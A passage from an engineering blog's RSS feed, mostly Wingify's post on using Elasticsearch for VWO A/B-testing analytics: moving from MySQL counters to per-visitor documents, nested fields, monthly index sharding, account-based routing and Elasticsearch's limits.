4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Optimized (+ disabling ngAnimate)</h4> <a href="/images/2015/05/3.png" target="_blank"><img src="/images/2015/05/3.png" alt="graph"></a> <h3 id="sorting-the-table" style="position:relative;"><a href="#sorting-the-table" aria-label="sorting the table permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sorting the table</h3> <h4 id="original-1" style="position:relative;"><a href="#original-1" aria-label="original 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Original</h4> <a href="/images/2015/05/4.png" target="_blank"><img src="/images/2015/05/4.png" alt="graph"></a> <h4 id="optimized-1" style="position:relative;"><a href="#optimized-1" aria-label="optimized 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Optimized</h4> <a href="/images/2015/05/5.png" target="_blank"><img src="/images/2015/05/5.png" alt="graph"></a> <hr> <h2 id="documentation" style="position:relative;"><a href="#documentation" aria-label="documentation permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Documentation</h2> Head over to <a href="/q-directives/">this link</a> for a usage documentation and API reference. <h2 id="contributing" style="position:relative;"><a href="#contributing" aria-label="contributing permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Contributing</h2> If you are interested in contributing to the project, we would love to hear from you. Just <a href="https://github.com/wingify/q-directives/fork">fork the repository</a> and <a href="https://github.com/wingify/q-directives/pulls">submit a pull request</a>.</content:encoded><author>Himanshu Kapoor</author></item><item><title><![CDATA[Elasticsearch for Analytics]]></title><description><![CDATA[Elasticsearch is essentially a distributed search-engine but there have been more than one example of companies and projects using…]]></description><link>https://engineering.wingify.com//posts/elasticsearch-for-analytics/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/elasticsearch-for-analytics/</guid><pubDate>Fri, 27 Mar 2015 00:00:00 GMT</pubDate><content:encoded><a href="https://www.elastic.co/products/elasticsearch">Elasticsearch</a> is essentially a distributed search-engine but there have been more than one example of companies and projects using Elasticsearch for analytics instead of search. We, at <a href="https://wingify.com">Wingify</a>, had similar requirements when we decided to make our analytics more powerful to empower the customers of our product, <a href="https://vwo.com">Visual Website Optimizer (VWO)</a>. This blog post is about how we used Elasticsearch to make <a href="https://vwo.com">VWO's</a> user tracking a lot more powerful than it earlier was. <h2 id="the-problem" style="position:relative;"><a href="#the-problem" aria-label="the problem permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The Problem</h2> For context, <a href="https://vwo.com">VWO</a> is a tool that makes A/B testing of websites and mobile apps so simple so that there is no engineering intervention involved to run new A/B testing campaigns. Marketers and UI/UX designers do A/B testing to improve online conversions and sales. <a href="https://vwo.com">VWO</a> helps them with performing these A/B tests with almost no engineering knowledge. Since <a href="https://vwo.com">VWO</a> is at the center of optimizing websites and mobile apps, this makes user tracking important for our product - our users make use of the data we collect to understand how their users (different segments of users) behave and make optimization decisions accordingly. For example, in an A/B test campaign with three variations, variation 2 might be winning for all the goals but for all the users coming from India, variation 3 might be winning for all or some of the goals. It should be possible for our customers to generate custom segmented reports and observe these different behaviours. So lets summarize how a campaign and its reporting should work: <ul> <li>A <a href="https://vwo.com">VWO</a> customer may create multiple campaigns. These campaigns have more than one variations (variations are variants of web pages or iOS apps with UI changes) that our customer wants to A/B test against real-traffic.</li> <li>Every campaign has more than one goals (goals are events that you want to track, such as visiting a particular page, clicking a DOM element, submitting a form, triggering a custom event with JavaScript etc.) which our customer wants us to track.</li> <li>Our JavaScript library tracks how real visitors trigger goals (events) per variation and sends this data to our data collection end-points.</li> <li>Our data backend stores every visit and conversion for all the defined goals per variation. This is stored on a day-wise basis.</li> <li>When the campaign's report is accessed, the day-wise visitor and goal conversion data is used in the statistics that go behind generating the report.</li> <li>Reports are generated considering behaviour of all the users who became a part of the campaign. However, our customers should have the flexibility to segment reports on the basis of parameters like location, browser, operating system, time range, query parameters, traffic type, etc.</li> </ul> <h2 id="in-the-prehistoric-times" style="position:relative;"><a href="#in-the-prehistoric-times" aria-label="in the prehistoric times permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>In the prehistoric times</h2> We used to store only counters in our database (we use MySQL) i.e. for goal per variation, we used to store number of visitors and conversions. Here is some sample data: <pre> +------------+---------------+-----------+---------+-----------------+------+-------------+ | account_id | experiment_id | variation | goal_id | event_date | hits | conversions | +------------+---------------+-----------+---------+-----------------+------+-------------+ | 1 | 198 | 2 | 1 | 2011-02-19 | 15 | 12 | | 1 | 198 | 1 | 1 | 2011-02-19 | 10 | 2 | | 1 | 198 | 2 | 1 | 2011-02-20 | 6 | 2 | | 1 | 198 | 1 | 1 | 2011-02-20 | 13 | 8 | | 1 | 198 | 1 | 2 | 2011-02-21 | 7 | 0 | | 1 | 198 | 1 | 1 | 2011-02-21 | 7 | 7 | | 1 | 198 | 2 | 2 | 2011-02-21 | 8 | 0 | | 1 | 198 | 2 | 1 | 2011-02-21 | 8 | 8 | | 1 | 198 | 2 | 2 | 2011-02-22 | 6 | 0 | | 1 | 198 | 1 | 1 | 2011-02-22 | 8 | 8 | +------------+---------------+-----------+---------+-----------------+------+-------------+ </pre> We also support revenue tracking for a goal. There is a different table for revenue tracking, which looks something like this: <pre> +------------+---------------+-----------+---------+-----------------+---------+ | account_id | experiment_id | variation | goal_id | event_date | revenue | +------------+---------------+-----------+---------+-----------------+---------+ | 1 | 198 | 2 | 1 | 2011-02-19 | 32.43 | | 1 | 198 | 1 | 1 | 2011-02-19 | 34.35 | | 1 | 198 | 1 | 1 | 2011-02-19 | 6.13 | | 1 | 198 | 2 | 1 | 2011-02-19 | 21.93 | | 1 | 198 | 2 | 1 | 2011-02-20 | 83.36 | | 1 | 198 | 2 | 1 | 2011-02-20 | 72.65 | | 1 | 198 | 1 | 1 | 2011-02-20 | 56.14 | | 1 | 198 | 1 | 1 | 2011-02-20 | 87.12 | | 1 | 198 | 1 | 1 | 2011-02-21 | 78.25 | | 1 | 198 | 1 | 1 | 2011-02-21 | 88.36 | +------------+---------------+-----------+---------+-----------------+---------+ </pre> So when our customers want to view the report, our application's backend will run some queries to generate aggregated metrics like total visitors per goal per variation, total conversions per goal per variation, etc. which could be taken care of using MySQL's built-in functions and then do some statistics at the application level to decide winning variations per goal. Notice that in our first table where we store hits (visitors) and conversions, we store total counters of these two metrics per goal per variation per day. In the revenue table, we store every individual revenue per goal per variation with the exact date they occurred on. We need these separately as we need to calculate sum of squares of every revenue generated which is used in the statistics. I am not going to delve in the statistics side of things because that is out of scope of this article. This worked pretty well for us for a while. It was all very simple and we had to deal with aggregated data most of the times other than the case of revenue where in we had to get every row of revenue for a particular campaign. At the application level, it was essentially firing up a few MySQL queries that would give us the aggregated and day-wise data and then use that data to statistically find winning variations per goal. But this setup had a major drawback. Our customers were restricted to the view of reports we would expose them to. It was not possible to drill down and understand how different segments of users are behaving as the complete picture may not say it all about some different segments. For example, in an A/B test campaign with three variations, variation 2 might be winning for all the goals but for all the users coming from India, variation 3 might be winning for all or some of the goals. Finding this out was only possible by running another campaign targeted to users from India on the basis of a hunch to understand if the results would differ. And many times the results would not differ and our customers will lose visitors from their visitor quota. Furthermore, our data storage had a few other problems like no fine grain control over date and time range (it was all day-wise), we would store all the counters according to our customers' timezone (set at the time of account creation) which means that changing timezone later would be possible but the data collected earlier would be shown according to the previously selected timezone. These were some major drawbacks to our way of storing visitor and conversion data. <h2 id="new-age-reporting" style="position:relative;"><a href="#new-age-reporting" aria-label="new age reporting permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>New Age Reporting</h2> We knew that our existing MySQL based setup was not perfect but more importantly we realized that it does not help our customers. We wanted to make things simpler for our customers so that: <ul> <li>they could easily find important segments of users that behave differently and run targeted campaigns for them if necessary.</li> <li>they have finer control over date and time so that they can see reports at different steps like months, days, hours, minutes, etc.</li> <li>store everything in UTC so that we can take care of timezone changes at application level.</li> </ul> Looking at our application requirements, we realized that we cannot work with just aggregated data any more. We needed to start storing individual visitor's data and their corresponding conversions to achieve flexibility and giving the power of slicing and dicing of the data in our customers' hands. We are also a pretty small team, which means that we wanted lesser headaches about ops and maintaining the entire system in production. We wanted things to be simple and as self-managed as possible. Our specific requirements were: <ul> <li>Allow storage of individual visitor data with a lot of properties for performing segmentation.</li> <li>Allow filtering on all the stored fields for performing segmentation.</li> <li>Allow full text search on a few fields.</li> <li>Capable of storing events for lifetime of a customer account. This means that we cannot delete visitor data as long as our customer is with us.</li> <li>Getting consumable data out should be fast, or lets say not terribly slow. We are okay with an average of 2-3 seconds to start with.</li> <li> Easy ops: <ul> <li>Fault tolerant system. Failing nodes should not bring the service down.</li> <li>Scalable to handle our growing traffic, storage and other requirements.</li> </ul> </li> </ul> We knew that Hadoop is the de-facto system in the Big Data universe but the entire Hadoop system is so vast that getting started with it is not as easy. There tons of different tools in the Hadoop ecosystem and just selecting the right tools for your use-case may take a significant amount of time for research, leaving the implementation time aside. Also, running a Hadoop cluster is no piece of cake. There are so many moving parts that you are not completely aware of as soon as you start. And performing upgrades of systems that have more systems running with it will always be problematic. Further, tuning all these systems to give an acceptable performance also seemed like a daunting task for a team as small as our's with no prior experience with such systems. On top of the above problems that we got to know about Hadoop from our friends working with it and from different blogs/websites, the task of implementing the infrastructure requirements for Hadoop, building an implementation, managing in production and then repeating the cycle for a team of 2 engineers seemed like a daunting task. We knew that life would be much easy if we keep things simple and we started looking at other options. <h2 id="elasticsearch-to-the-rescue" style="position:relative;"><a href="#elasticsearch-to-the-rescue" aria-label="elasticsearch to the rescue permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Elasticsearch to the rescue</h2> Having worked with Elasticsearch before for a smaller project and remembering that I had watched <a href="https://vimeo.com/44716955">Shay's talk</a> from Berlin Buzzwords where he mentioned that Elasticsearch was also being used for analytics, we started looking at Elasticsearch to solve our problems. Elasticsearch supports filtering which we could use to filter visitors and their conversions on the basis of a lot of properties that we wanted to collect for every visitor. Filtering would be fast in Elasticsearch because you can have indexes on every field if you want and since Elasticsearch uses Lucene under-the-hood, we were confident about its indexing capabilities. Elasticsearch supports full text search out-of-the-box. This fits well with our basic application requirements. On top of this, Elasticsearch supported Faceting (when we were evaluating, aggregations frameworks was not there) which we could exploit for analytics. That means we don't even have to get all the data out of Elasticsearch to our application layer. Elasticsearch is capable of giving us an aggregated view of the data we were storing. This was just amazing for us. We were able to build a PoC within two weeks. The next couple of months were spent on understanding Elasticsearch better, optimizing our implementation, testing Elasticsearch against production load and tuning it for the same. In the meantime, Elasticsearch released 1.0.0 with aggregation framework and we quickly moved from using <a href="http://www.elastic.co/guide/en/elasticsearch/reference/current/search-facets.html">Facets</a> (see <a href="https://en.wikipedia.org/wiki/Faceted_search">Faceted Search</a>) to Aggregations. <a href="http://www.elastic.co/guide/en/elasticsearch/reference/current/search-aggregations.html">Aggregations</a> proved to be very useful with revenue goals as we could just ask Elasticsearch to give us sum of squares of individual revenues without getting individual revenues out of Elasticsearch. As pointed out earlier, we need to track individual users. How we do this is we create a document for a unique visitor per account per campaign in Elasticsearch. This document stores user meta data, data for segmentation and goal conversion tracking data. A typical visitor document looks like this: <div class="gatsby-highlight" data-language="json"><pre class="language-json"><code class="language-json">{ "_index": "february-2015", "_type": "123", "_id": "D2E0A04858025DFE23928BC1F70D2156_123_313", "_score": 1, "_source": { "query_params": [ { "val": "val1", "param": "param1" }, { "val": "val2", "param": "param2" } ], "browser_string": "Chrome 40.0.2214", "ip": "8.8.8.0", "screen_colors": "24", "browser_version": "40.0.2214", "session": 1, "device_type": "Desktop", "document_encoding": "UTF-8", "variation_goals_facet_term": "c1_g1", "ts": 1424348107, "hour_of_day": 12, "os_version": "", "experiment": 313, "user_time": "2015-02-19T12:15:07.271000", "direct_traffic": false, "variation": "1", "ua": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36", "search_traffic": false, "social_referrer": "youtube", "returning_visitor": false, "hit_time": "2015-02-19T12:15:07", "user_language": "en-us", "device": "Other", "active_goals": [ 1 ], "account": 196, "url": "https://vwo.com/lp/ab-testing-tool/?gclid=CPiZ7JT-7cMCFfDKtAodPUwAhQ", "country": "United Kingdom", "day_of_week": "Thursday", "converted_goals": [ 1 ], "social_traffic": true, "converted_goals_info": [ { "id": 1, "facet_term": "1_1", "conversion_time": "2015-02-19T12:15:54" } ], "referrer": "https://www.youtube.com/watch?v=EM-5IxL4HwQ", "browser": "Chrome", "os": "Windows 7", "email_traffic": false } }</code></pre></div> <code class="language-text">_id</code> is the UUID of the visitor. Most of the other fields have information extracted out from the IP address, the User Agent, the URL and the Referring URL. All the fields except a few are some fields with their types correctly set. Indexes are maintained on all of them so that visitor documents can be filtered according to the values in these fields. But there are a few fields that are interesting: <ul> <li>query_params</li> <li>convertedgoalsinfo</li> <li>convertedgoalsinfo.facet_term</li> <li>variationgoalsfacet_term</li> </ul> Let's look at each of them one-by-one. <ul> <li>query_params is an array of objects for storing query parameters and their respective values. This is of type <code class="language-text">nested</code> because our customers may want to find all visitors and their conversions who visited pages with certain query parameters. Consider a scenario where you want to find all visitor documents with query parameter <code class="language-text">param1</code> and <code class="language-text">val2</code>. A simple <code class="language-text">bool must</code> query with term query would return the above document if <code class="language-text">query_params</code> was not nested because it would find one of the two <code class="language-text">query_params.param</code> values to be equal to <code class="language-text">param1</code> and the one of the two <code class="language-text">query_params.val</code> values to be equal to <code class="language-text">val2</code> but we know that <code class="language-text">param1</code> never had <code class="language-text">val2</code> as its value. This happens because each object in <code class="language-text">query_params</code> array is not considered as an individual component of the document. <code class="language-text">nested</code> types solve this problem. Read more about <code class="language-text">nested</code> documents and relations in Elasticsearch in this <a href="https://www.elastic.co/blog/managing-relations-inside-elasticsearch/">blog post</a>.</li> <li>convertedgoalsinfo is also an array of objects for storing information of individual goal conversions. Here we store <code class="language-text">goal_id</code> of the converted goal, the time of conversion as a DateTime field and another field that we will shortly discuss. This field is also of <code class="language-text">nested</code> type for the same reason as with <code class="language-text">query_params</code>.</li> <li>convertedgoalsinfo.facet_term and variationgoalsfacet_term need to be discussed together because their values are constructed in a similar way. They in particular don't hold any new information. In the beginning of the post, we saw how we used to store aggregated visitor and conversion count per goal per variation per day. We still need that data out of Elasticsearch in a similar way for our statistics. The day-wise problem gets solved by using day-wise buckets in aggregations framework. The next problem is getting visitor counts per variation per goal. In MySQL terms, we would want to run a GROUP BY query on <code class="language-text">variation</code> and <code class="language-text">goal_id</code> column. In Elasticsearch, we can do something similar by using <a href="https://www.elastic.co/guide/en/elasticsearch/reference/current/search-aggregations-bucket-terms-aggregation.html#search-aggregations-bucket-terms-aggregation-script">Terms Aggregation using Scripts</a>. The problem with this approach is that if you have a large number of documents, your script will get evaluated on all of them and Elasticsearch is not really a script execution engine (no matter which scripting plugin you use). What you can do instead is push the result of a script at the time of indexing and then simply run Terms Aggregation on it. We saw massive performance boost by doing this performance hack.</li> </ul> Every document gets saved under the <code class="language-text">doc_type</code> for the account that campaign belongs to i.e. every account on <a href="https://vwo.com">VWO</a> has a separate doc type. <h3 id="performance" style="position:relative;"><a href="#performance" aria-label="performance permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Performance</h3> From performance point-of-view, Elasticsearch has very fast indexing and querying capabilities. It is a distributed system - you can deploy a cluster of nodes in production which stores indexes in a distributed fault-tolerant way to give you performance benefits. Increase the number of replicas per shard and you can scale reads and queries. This can be done after creating an index as well. Elasticsearch does not allow changing of number of shards though. But there is a sweet work around for that. Just create a new index with more shards and use aliases, and you can now scale indexing as well. <h4 id="sharding" style="position:relative;"><a href="#sharding" aria-label="sharding permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sharding</h4> From our experience with working on large data sets which need to be queried on an ad-hoc basis and have low latency requirements and from our learning from <a href="http://thedudeabides.com/">Shay's</a> talks (<a href="https://www.youtube.com/watch?v=SIj5eJw8BUE">1</a>, <a href="https://www.youtube.com/watch?v=fEsmydn747c">2</a>, <a href="https://vimeo.com/44716955">3</a>), we understood that a data storage system meant to store a lot of data will scale for your reads and querying requirements well if you can shard your data well according to the variable that determines the growth of that data. For example, if you are using any database for storing machine logs, you should be able to shard your data probably according to time because you would want to query the most recent data and if you have to do it from the all the data you ever collected, then your old data will only become a performance bottleneck. So a possible sharding strategy could be sharding data according to month-year. Our requirement was similar. We get visitor data which we could easily shard on monthly basis. And since this data would keep on growing, we can just add new indexes every month and place the new data in these indexes. However, which index a visitor document goes to is not determined by the timestamp of the visitor but it is determined by the date of creation of the campaign. Why? Our customers view campaign reports i.e. when a campaign report is opened, we want to get data for that campaign only. So it would make sense to have all the data for a campaign reside only in one index because we wouldn't want to look into multiple indexes for generating report of one campaign. If we decided to put visitor documents in different indexes depending upon time of visit, we would have faced the following problems: <ul> <li>A campaign may run for more than a month, so visitor documents for a campaign may be in more than one indexes and we would not have any way to know which all indexes without keeping a track of it separately as to which indexes have visitors for a given campaign. This would be painful.</li> <li>Since visitors also convert goals and we store conversion data in visitor documents, it would be very difficult for us to find which index to find the visitor document in so that we can add conversion tracking related data in the document.</li> </ul> These problems get solved when we restrict all visitor data for a given campaign to go in one index only. So for <code class="language-text">account_id</code> 123 that has two campaigns - campaign 1 (created in January 2015) and campaign 2 (created in February 2015), the visitor documents for both will be created in the indexes for January 2015 and February 2015 respectively. Another big advantage of this is that we can adjust the number of shards every month. So if we are seeing a trend of more visitors getting tracked month after month, in the next month we can create a new index with more shards than the previous month's index. <h4 id="routing" style="position:relative;"><a href="#routing" aria-label="routing permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Routing</h4> Since documents are stored in a particular shard in an index, Elasticsearch needs to decide which shard to put the document in. Elasticsearch use a hashing algorithm that is used for shard selection and Elasticsearch uses document's ID by default for determining which shard that document goes into. This is called routing a document into a shard. This may work fine in some cases. But the drawback of this default routing strategy is felt when you have a large number of shards and also when you have to serve a lot of queries. The drawback is that Elasticsearch now needs to search every shard in an index for all the documents matching a given query, wait for the results, aggregate them and then return the final result. So for a given query, all shards get busy. This can be controlled by using a better routing strategy. In our case, we generate reports of a campaign of a given account. It would be ideal that one account does not limit report generation of another account. So instead of going with the default routing strategy, we decided to route documents on the basis of <code class="language-text">account_id</code>. So now, when a campaign report is generated for a given account, the query hits only a single shard, leaving all other shards available for serving other queries and also freeing up CPU resources. After moving to this routing strategy, we saw a significant reduction in CPU usage in our cluster. <h3 id="operations" style="position:relative;"><a href="#operations" aria-label="operations permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Operations</h3> From operations and management point-of-view, Elasticsearch is fault tolerant - indexes can be sharded and replicated and distributed in a cluster. Elasticsearch distributes shards and their replicas on different nodes in the cluster so that if a node fails, Elasticsearch promotes replicas to be the primary shards and moves shards and replicas in the cluster to balance the cluster. What is really amazing is that Elasticsearch also gives control over placement of shards in a cluster so that it is easy for you to separate hot data from cold (historic) data easily. We have not had the need to use this feature yet, but it is good to know that we can do this if at all historic data becomes a performance problem. Chances are that it will become a problem but probably much later. <h2 id="drawbacks" style="position:relative;"><a href="#drawbacks" aria-label="drawbacks permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Drawbacks</h2> Although Elasticsearch made it really easy for us to push out something like this with so much ease (and remember we had no experience building something like this before) and we love Elasticsearch for that, we did find a few things with it that we think limits us. <ul> <li>The facet term hack for avoiding running scripts works great but then it's also limiting if you want to add new features in your application that rely on different scripts that were not added at the time of indexing. This means that you will have to re-index all your data if you want to support this new feature or just provide this feature on new data.</li> <li>Lack of JOINS becomes limiting. As of now we push the conversion data in visitor document. But it would have been ideal if we could independently index conversions data in a separate index or doc type.</li> </ul> We don't know how to solve these problems yet or if Elasticsearch team has any plans for bringing something new that fixes these problems. It will open Elasticsearch to a lot more possibilities if JOINS were possible. But we also understand that it's not a simple problem to solve and Lucene and Elasticsearch were not made keeping these use-cases in mind. Nevertheless, we hope to see these improving in the future, especially because a lot of companies are using Elasticsearch for analytics as well. <h2 id="conclusion" 